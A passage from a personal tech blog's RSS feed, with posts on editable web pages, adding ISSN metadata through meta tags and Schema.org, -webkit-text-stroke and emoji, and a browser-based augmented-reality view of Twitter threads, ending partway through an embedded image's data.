to another part of the post:<img src="https://shkspr.mobi/blog/wp-content/uploads/2014/11/edent-looking-silly.jpeg" alt="Me wearing a Google Glass headset" width="512" height="384" class="aligncenter size-full wp-image-25973"></p><p>Or, indeed, any other piece of content into the document.</p><p>Is there a risk that someone could edit your site to show something malicious? Yes, but they could do that anyway by editing the HTML directly in the browser.</p><style class="i">.i{display:none}style{display:block;font-family:monospace}</style><style class="i">style::before{content:'<style>'}style::after{content:'<\/style>'}</style><p>You can also edit the page's CSS - using this little area:</p><code>&lt;style&gt;</code><style>a {color:#0067ba;} h2 {color:black;}</style><code>&lt;/style&gt;</code><p>(Thanks to <a href="https://twitter.com/faraixyz/status/1487042100273295366">Farai for the CSS tip!</a>)</p></div><p>(The following bit isn't editable.)</p><p>Learn more about <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/contenteditable"><code>contenteditable</code> on MDN</a>.</p><p>If you've spotted any weirdness on your browser when interacting with this post - please drop me a note in the comments.</p></div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=41721&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/01/edit-this-blog-post/feed/</wfw:commentRss>
			<slash:comments>11</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[How to add ISSN metadata to a web page]]></title>
		<link>https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/</link>
					<comments>https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 17 Sep 2021 11:09:05 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[metadata]]></category>
		<category><![CDATA[schema.org]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=40341</guid>

					<description><![CDATA[Inspired by John Hoare at the Dirty Feed blog - I&#039;ve asked the British Library to assign my blog an International Standard Serial Number (ISSN).  An ISSN is an 8-digit code used to identify newspapers, journals, magazines and periodicals of all kinds and on all media–print and electronic.    Why?  Shut up.  OK. It turns out that lots of people cite my blog in academic papers - so I wanted to make …]]></description>
										<content:encoded><![CDATA[<p>Inspired by John Hoare at the <a href="https://www.dirtyfeed.org/">Dirty Feed blog</a> - I've asked the British Library to assign my blog an <a href="https://www.issn.org/understanding-the-issn/what-is-an-issn/">International Standard Serial Number</a> (ISSN).</p>

<blockquote><p>An ISSN is an 8-digit code used to identify newspapers, journals, magazines and periodicals of all kinds and on all media–print and electronic.</p></blockquote>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/09/Screenshot-2021-09-07-at-10-21-40-Application-for-an-ISSN-terence-eden-shkspr-mobi-Shkspr-mobi-Mail.png" alt="creenshot of an email from the British Library. Dear Terence Eden INTERNATIONAL STANDARD SERIAL NUMBER (ISSN) Thank you for your recent enquiry, we have assigned ISSN to the following publication(s): Terence Eden’s blog ISSN 2753-1570 ." width="867" height="310" class="aligncenter size-full wp-image-40345">

<h2 id="why"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#why">Why?</a></h2>

<p>Shut up.</p>

<p>OK. It turns out that lots of people <a href="https://shkspr.mobi/blog/citations">cite my blog in academic papers</a> - so I wanted to make it slightly easier for scholars of the future to use metadata to trace my vast influence on Human civilisation.</p>

<h2 id="how"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#how">How?</a></h2>

<p>I filled in <a href="https://www.bl.uk/help/get-an-isbn-or-issn-for-your-publication">a form on the British Library website</a>. Didn't cost me a penny. Was pretty quick!</p>

<h2 id="metadata"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#metadata">Metadata</a></h2>

<p>I can stick a bit of text at the bottom of each page with the ISSN - but that doesn't make it easily discoverable by automated tools. How can I make an ISSN machine readable?  There are a few ways.</p>

<h3 id="meta-elements"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#meta-elements">Meta Elements</a></h3>

<p>There are <a href="https://html.spec.whatwg.org/multipage/semantics.html#standard-metadata-names">a limited list of official <code>&lt;meta&gt;</code> names</a>. These are extensible, and <a href="https://scholar.google.com/intl/en/scholar/inclusion.html#indexing">Google Scholar recommends <code>citation_issn</code></a>. Which is as simple as adding the following to your page's <code>&lt;head&gt;</code>:</p>

<pre><code class="language-html">&lt;meta name="citation_issn" content="1234-5678"&gt;
</code></pre>

<p>There alternatives though.</p>

<h3 id="schema-org"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#schema-org">Schema.org</a></h3>

<p>In recent years, <a href="https://schema.org/">Schema.org</a> has become the dominant form for representing metadata on the web. There are two ways you can implement it:</p>

<h4 id="json-ld"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#json-ld">JSON-LD</a></h4>

<p>JSON Linked Data involves adding a scrap of JavaScript to your HTML, like this:</p>

<pre><code class="language-HTML">&lt;script type="application/ld+json"&gt;
{
  "@context": "https://schema.org",
  "@type": "Blog",
  "issn": "1234-5678"
}
&lt;/script&gt;
</code></pre>

<p>If you don't want to add a separate script, you can add the data inline using...</p>

<h4 id="microdata"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#microdata">Microdata</a></h4>

<p>The <a href="https://html.spec.whatwg.org/multipage/microdata.html">microdata specification</a> uses the exact same data as Schema.org - but allows you to add the data directly into the web page like this:</p>

<pre><code class="language-_">&lt;body itemscope itemtype="https://schema.org/Blog"&gt;
   ...
   ISSN &lt;span itemprop="issn"&gt;1234-5678&lt;/span&gt;
</code></pre>

<p>That's probably the <em>easiest</em> way to do it.</p>

<h3 id="links"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#links">Links</a></h3>

<p>The ISSN registry allows you to look up any ISSN with a simple URL. Mine is at <a href="https://portal.issn.org/resource/ISSN/2753-1570"></a><a href="https://portal.issn.org/resource/ISSN/2753-1570">https://portal.issn.org/resource/ISSN/2753-1570</a>.</p>

<h2 id="belt-and-braces"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#belt-and-braces">Belt and braces</a></h2>

<p>So, this is what I've ended up doing - cramming everything in all at once.</p>

<pre><code class="language-html">&lt;head&gt;
   ...
   &lt;meta name="citation_issn" content="1234-5678"&gt;
&lt;/head&gt;
&lt;body itemscope itemtype="https://schema.org/Blog"&gt;
   ...
   ISSN &lt;a href="https://portal.issn.org/resource/ISSN/1234-5678"&gt;&lt;span itemprop="issn"&gt;1234-5678&lt;/span&gt;&lt;/a&gt;
</code></pre>

<h2 id="any-other-ways"><a href="https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/#any-other-ways">Any other ways?</a></h2>

<p>What am I missing? Can someone smarter than I tell me that there's an easier / better / more interoperable way to do this?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=40341&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/09/how-to-add-issn-metadata-to-a-web-page/feed/</wfw:commentRss>
			<slash:comments>5</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[-webkit-text-stroke and emoji]]></title>
		<link>https://shkspr.mobi/blog/2021/09/webkit-text-stroke-and-emoji/</link>
					<comments>https://shkspr.mobi/blog/2021/09/webkit-text-stroke-and-emoji/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Tue, 14 Sep 2021 11:56:53 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[HTML5]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=40249</guid>

					<description><![CDATA[The CSS property -webkit-text-stroke is a curious beastie.  MDN gives a big scary warning saying &#34;Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web.&#34;  And yet, it works everywhere. All modern browsers support it. Except on Emoji.  Here&#039;s how it work. -webkit-text-stroke: pink 1px; draws a pink outline around text.  This…]]></description>
										<content:encoded><![CDATA[<p>The CSS property <code>-webkit-text-stroke</code> is a curious beastie.</p>

<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/-webkit-text-stroke">MDN gives a big scary warning</a> saying "Non-standard: This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web."</p>

<p>And yet, it works everywhere. All modern browsers support it. Except on Emoji.</p>

<p>Here's how it work. <code>-webkit-text-stroke: pink 1px;</code> draws a pink outline around text.</p>

<p><span style="-webkit-text-stroke: pink 1px; font-size:2em">This has a pink outline!</span></p>

<p>Nifty! But what happens if you apply to emoji?</p>

<p><span style="-webkit-text-stroke: pink 1px; font-size:2em">Smile 😁, Star ⭐, Melon 🍈</span></p>

<p>Nothing.</p>

<p>Interestingly any emoji with default text presentation - or using <a href="https://en.wikipedia.org/wiki/Variation_Selectors_(Unicode_block)">Variation Selector 15</a> - <em>does</em> get an outline
<span style="-webkit-text-stroke: pink 1px; font-size:2em">☺☮⭐︎</span></p>

<h2 id="why-would-this-be-useful"><a href="https://shkspr.mobi/blog/2021/09/webkit-text-stroke-and-emoji/#why-would-this-be-useful">Why would this be useful</a></h2>

<p>Here's an emoji which has the same roughly the colour as the background. Can you see it clearly? What if you select the text?</p>

<p><span style="-webkit-text-stroke: red 1px; font-size:2em; background:#f00;">&nbsp;❤️&nbsp;</span></p>

<p>Having an outline would make it a lot easier to see.</p>

<p>So, what's so special about emoji? I <em>guess</em> that the way browsers render emoji is more similar to images rather than text?  For example, their colours don't invert when selected.</p>

<p>Does anyone know a way to make this work? Or whether <code>-webkit-text-stroke</code> will ever be standardised?</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=40249&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2021/09/webkit-text-stroke-and-emoji/feed/</wfw:commentRss>
			<slash:comments>6</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Augmented Reality Twitter Conversations!]]></title>
		<link>https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/</link>
					<comments>https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/#respond</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sat, 11 Sep 2021 11:34:27 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[ar]]></category>
		<category><![CDATA[Augmented Reality]]></category>
		<category><![CDATA[HTML5]]></category>
		<category><![CDATA[TapIntoTwitter]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[Virtual Reality]]></category>
		<category><![CDATA[vr]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=40299</guid>

					<description><![CDATA[I&#039;ve recently launched TweeView - a new way to visualise Twitter conversation threads in 2D and 3D.  Sadly, I don&#039;t have a Virtual Reality system - feel free to buy me one! - but I have the next best thing. A web browser!  Demo!  Using the awesome power of A-Frame, here&#039;s a demo of how to view a conversation object as AR.     Play!  You can play with it yourself at TweeView.ml/ar. You will need…]]></description>
										<content:encoded><![CDATA[<p>I've recently launched <a href="https://web.archive.org/web/20210914123600/https://tweeview.ml/">TweeView</a> - a new way to visualise Twitter conversation threads in 2D and 3D.</p>

<p>Sadly, I don't have a Virtual Reality system - <a href="https://www.amazon.co.uk/hz/wishlist/ls/13GFCFR2B2IX4?type=wishlist&amp;linkCode=sl2&amp;tag=shksprblogwish-21">feel free to buy me one</a>! - but I have the next best thing. A web browser!</p>

<h2 id="demo"><a href="https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/#demo">Demo!</a></h2>

<p>Using the awesome power of A-Frame, here's a demo of how to view a conversation object as AR.</p>

<video controls="" muted="" src="https://shkspr.mobi/blog/wp-content/uploads/2021/09/Augmented-Reality-Demo.mp4" poster="https://shkspr.mobi/blog/wp-content/uploads/2021/09/augmented-reality-poster.jpg" width="868" height="540">
</video>

<h2 id="play"><a href="https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/#play">Play!</a></h2>

<p>You can play with it yourself at <a href="https://web.archive.org/web/20211019001726/https://TweeView.ml/ar/">TweeView.ml/ar</a>. You will need to <a href="https://shkspr.mobi/blog/wp-content/uploads/2021/09/target.png" download="">download this AR target image</a>.</p>

<p>It works best printed onto matt white paper, then mounted on card. I had to print it twice on the same piece of paper to get the required blackness.</p>

<h2 id="build"><a href="https://shkspr.mobi/blog/2021/09/augmented-reality-twitter-conversations/#build">Build!</a></h2>

<p>This is built on several bits of open source tech.</p>

<p>The first part is <a href="https://aframe.io/">A-Frame</a> and <a href="https://github.com/AR-js-org/AR.js">AR.js</a></p>

<pre><code class="language-html">&lt;script src="https://aframe.io/releases/1.0.0/aframe.min.js" integrity="sha384-mAWNMpx7UQMegsgs1X2mE9wVl/svgdzdy4qpXNFgAxUmc8a1ToRWVWl3tzfDinBb" crossorigin="anonymous"&gt;&lt;/script&gt;
&lt;script src="https://unpkg.com/ar.js/aframe/build/aframe-ar.min.js" integrity="sha384-vLi7A1RlJjrEmCqF2DrdIT9cLqHdV/7GbmsqfniwwtfLRQlP1lXi/Tk199ZCLU5p" crossorigin="anonymous"&gt;&lt;/script&gt;
</code></pre>

<p>Next is <a href="https://github.com/vasturiano/3d-force-graph-ar">ForceGraph AR</a></p>

<pre><code class="language-html">&lt;script src="https://unpkg.com/3d-force-graph-ar" integrity="sha384-ERqZX7SBS3fH2SL04csG8OB9QyOF2LtDsZtRrJZR46WipKv7LqplBgM/GoFPjyfQ" crossorigin="anonymous"&gt;&lt;/script&gt;
</code></pre>

<p>I recommend copying them to your local server rather than relying on a CDN.</p>

<p>The <code>&lt;body&gt;</code> of your HTML page needs a target the AR window can attach to:</p>

<pre><code class="language-html">&lt;div id="3d-graph"&gt;&lt;/div&gt;
</code></pre>

<p>Construct the graph which will be displayed in the browser:</p>

<pre><code class="language-js">&lt;script&gt;
   const Graph = ForceGraphAR({ markerAttrs: { type:'pattern', url:'/path/to/pattern.patt' }})
      (document.getElementById('3d-graph'))
         .jsonUrl('/path/to/graph.json')
         .glScale(160)
         .yOffset(1)
         .nodeRelSize(10)
         .nodeOpacity(0.9)
         .linkOpacity(0.9)
         .nodeColor(0x0000ff)
         .linkOpacity(1)
         .linkCurvature(0)
         .linkWidth(2)
         .linkDirectionalArrowLength(6)
         .linkDirectionalArrowColor(0x00ff00)
         .linkColor(() =&gt; 'red');
&lt;/script&gt;
</code></pre>

<p>In order to generate a "target" (that's the physical object that is being tracked) use the <a href="https://jeromeetienne.github.io/AR.js/three.js/examples/marker-training/examples/generator.html">AR.js Marker Generator</a>. That will deliver you two things.</p>

<ol>
<li>A <code>.patt</code> file. This is a digital representation of the pattern.</li>
<li>A <code>.png</code> or <code>.pdf</code> file. This is the thing you print off and show in front of your camera.</li>
</ol>

<p>Finally, you'll need a graph object in <code>JSON</code> format to pass to <code>ForceGraphAR</code>.</p>

<p>You'll then end up with something like this:</p>

<blockquote class="social-embed" id="social-embed-1432768058028875791" lang="en" itemscope="" itemtype="https://schema.org/SocialMediaPosting"><header class="social-embed-header" itemprop="author" itemscope="" itemtype="https://schema.org/Person"><a href="https://twitter.com/Infoxicador" class="social-embed-user" itemprop="url"><img class="social-embed-avatar social-embed-avatar-circle" src="data:image/webp;base64,UklGRmwCAABXRUJQVlA4IGACAACQCwCdASowADAAPrVSpU6nJCOiJzgIAOAWiWMArDObh9626zvpncDYbdS9Xa3uvdEDeIxBW5hN8ufiJSL/2oc4TPgACjoPAdrcOWCNIznpY6v9kjVt8aGXhzOLJx4CctTTzO70AAD+/hb9/RnXjm7pqZsqRg5SXY588WJIjuYh7ImVtMVXXa5gX6Qq3F+CoQh1QH+9PVZjYlgQ0PYMCe0Qz+do+5mVrw2BGtbqcBBSZDEZb8V8ciJDrVZsFlm+SV6HILVeYBKndA5fyDIk8ga6+T/8gG+24o8zu3KokHfSPz0Q8X0AYRmMia+YQ4WbyI1ltaSgoT7HgNHMa8NkS+zxK6bQakNi2hdqtPD+Bjqdk63Nm+qyK/wDCJNNjaKHjnSM5ucgHC17XpvzuXRtX/SvWNbsGXFfgm99KBVq57SkaR27qGZRWc3JwGVLNO3668lK0HP13t3kwTRGBcwa31GiPTKHt5AwWHiXvnDCTrll1NohIuRLPeV0++IqI4V8ozfCSCuL7Qqh+MGV40HBWmdFJ6cRK4ujJsuqaqLetap1Ji5pZzxgBajTRWcXR6n8sYytEYuZ9pPfXX6fxV3TnYQuSp1Are92yRZRtspPgnO4gO3qZplWedhge3hNOUr//nhfeAHRY7/ZaX2DnDd9V+jc2zYmnve3To5OW06E+oCSp3sjQ83HNYCu+f07bQQRIRqyX849Oz0FQfwdx1W5Xz4njC3uWwiS9eSOOfA8s3o88C7y63f+Bn3Lz28KaP68JXex1IIxiUWvg9VY6Ne97ozK2xAuCY3T18+xzAXtdnYAAA==" alt="" itemprop="image"><div class="social-embed-user-names"><p class="social-embed-user-names-name" itemprop="name">Ruben Casas 🦊</p>@Infoxicador</div></a><img class="social-embed-logo" alt="Twitter" src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%0Aaria-label%3D%22Twitter%22%20role%3D%22img%22%0AviewBox%3D%220%200%20512%20512%22%3E%3Cpath%0Ad%3D%22m0%200H512V512H0%22%0Afill%3D%22%23fff%22%2F%3E%3Cpath%20fill%3D%22%231d9bf0%22%20d%3D%22m458%20140q-23%2010-45%2012%2025-15%2034-43-24%2014-50%2019a79%2079%200%2000-135%2072q-101-7-163-83a80%2080%200%200024%20106q-17%200-36-10s-3%2062%2064%2079q-19%205-36%201s15%2053%2074%2055q-50%2040-117%2033a224%20224%200%2000346-200q23-16%2040-41%22%2F%3E%3C%2Fsvg%3E"></header><section class="social-embed-text" itemprop="articleBody">Attending my first in person event since the pandemic. <br><br><a href="https://twitter.com/hashtag/TapIntoTwitter">#TapIntoTwitter</a> hosted by <a href="https://twitter.com/gerardsans">@gerardsans</a> and <a href="https://twitter.com/coderinheels">@coderinheels</a><br><br>Nothing better than a cool live demo. <br><br>🤯 <a href="https://twitter.com/Infoxicador/status/1432768058028875791/video/1">pic.x.com/qw1ifom7fh</a><div class="social-embed-media-grid"><video class="social-embed-video" controls="" src="https://video.twimg.com/ext_tw_video/1432767873504718850/pu/vid/720x960/sS9cLdGn93eUmvKC.mp4?tag=12" poster="data:image/webp;base64,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